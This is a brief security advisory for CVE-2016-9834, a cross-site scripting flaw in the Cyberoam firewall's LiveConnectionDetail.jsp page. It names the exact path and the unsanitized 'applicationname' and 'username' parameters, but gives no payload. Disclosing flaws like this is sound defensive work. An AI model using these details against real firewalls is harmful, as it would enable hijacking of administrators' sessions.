  CVE ID:
  
  =======
  
  
  CVE-2016-9834
  
  
  Details:
  
  =======
  
  This vulnerability allows remote attackers to execute arbitrary client side
  script in the active user’s browser session, when logged into the Cyberoam
  firewall. User interaction is required to exploit this vulnerability in
  that the target must visit a malicious page or open a malicious file.
  
  The specific flaw exists within the handling of request to
  “LiveConnectionDetail.jsp” application. GET parameters “applicationname”
  and “username” are improperly sanitized allowing an attacker to inject
  arbitrary javascript into the page. This can be abused by an attacker to
  perform a cross-site scripting attack on the user.
  
  
  Vulnerable module/page/application:
  /corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp
  
  
  Vulnerable parameters: applicationname and username
